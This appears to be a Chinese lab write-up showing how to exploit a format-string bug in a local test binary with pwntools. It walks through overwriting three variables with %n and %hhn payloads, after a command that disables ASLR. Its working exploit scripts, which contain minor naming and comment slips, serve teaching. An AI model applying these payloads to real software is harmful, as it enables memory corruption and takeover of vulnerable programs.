题目如下
利用格式化字符串漏洞实现任意地址覆盖
要求:使用pwntools实现3段代码,分别利用格式化字符串漏洞覆盖a,b,c三个变量,成功打印相应的puts信息。

例如,对于变量c的覆盖,输出结果如下图,成功打印:overwrite c successfully。

解决方法:
首先关闭ASLR(确保地址固定)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
进入a == 0x10
需要确定两点:a的地址,a的偏移量
a的地址可通过gdb调试程序来获取,具体方法如下:

b vulnfunc
r
disassemble
可以看到a变量声明的代码

在声明a变量后设置断点 b *0x08049219
c
x/wx $ebp-0x110

可以看到确实是a的值
!!!!!但是,在利用0xffffd028来作为a的地址时,无法正常覆写
原因是:在调试器中和实际运行时,程序的内存布局可能有所不同。这种差异可能是由于调试器对程序的影响(如调试器会改变程序的内存分配)
所以我们修改源代码!帮我们打印出来a的地址!
将源代码改为(红框为添加内容):

下面我们运行程序就能看到a在执行时的地址

然后我们可以写出a的利用代码
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
def exploit_a():
p = process('./test2')
# 硬编码a的地址(通过gdb计算得到)
a_addr = 0xffffd078 # 替换为你的实际地址
# 构造payload:覆盖a为0x10
payload = p32(a_addr) + b"%12c%7$n" # 偏移量需根据实际栈布局调整
p.sendline(payload)
# 接收输出
print(p.clean())
p.close()
exploit_a()
运行结果如下

可以看到输出了我们想要的内容
进入b == 2
b和c作为全局变量,可以直接查看地址(地址固定)
objdump -t ./test2 | grep b
objdump -t ./test2 | grep c
b变量地址最小也是占用了4字节的,我们无论如何都不能覆盖成2,所以思路就是把地址写到后面去
#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
p = process("./test2")
def exploit_c():
b_address = 0x804c02c
#构造Payload
padding = b'11'
padding_address = b'\x00\x00'
Payload = padding + b'%9$n' + padding_address + p32(b_address)
log,info("Payload: %s" % Payload)
#发送Payload
p.sendline(Payload)
exploit_c()
print(p.recv())
运行结果如下

可以看到出现了我们预期的输出
进入c == 0x12345678
b和c作为全局变量,可以直接查看地址(地址固定)
objdump -t ./test2 | grep b
objdump -t ./test2 | grep c
构造payload的思路如下
构造payload:分四次写入(分别覆盖c的四个字节)
目标值:c = 0x12345678 → 分解为四个单字节:0x78, 0x56, 0x34, 0x12
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
def exploit_c():
p = process('./test2')
c_addr = 0x804c030 # 替换为实际地址
# 构造payload:分四次写入(分别覆盖c的四个字节)
# 目标值:c = 0x12345678 → 分解为四个单字节:0x78, 0x56, 0x34, 0x12
payload = p32(c_addr) + p32(c_addr+1) + p32(c_addr+2) + p32(c_addr+3)
# 计算各字节的字符数(注意顺序为小端序):
# 0x78 - 16(已写入16字节) = 0x78 - 0x10 = 104 → "%104c"
# 0x56 - 0x78 = 0xDE (222) → 需补到0x156 → 222 → "%222c"
# 0x34 - 0x56 = 0xDE (222) → "%222c"
# 0x12 - 0x34 = 0xDE (222) → "%222c"
payload += b"%104c%7$hhn" # 覆盖c_addr(第6个参数)
payload += b"%222c%8$hhn" # 覆盖c_addr+1(第7个参数)
payload += b"%222c%9$hhn" # 覆盖c_addr+2(第8个参数)
payload += b"%222c%10$hhn" # 覆盖c_addr+3(第9个参数)
# 检查payload长度(必须 ≤100)
assert len(payload) <= 100, f"Payload过长: {len(payload)}字节"
p.sendline(payload)
# 接收输出并验证
output = p.recvall(timeout=2)
print(output)
exploit_c()
运行结果如下

额额额虽然输出很潦草(printf输出的杂乱东西太多了),但是还是能在最后看到我们想要的结果,搞定!


Comments | 1 条评论
1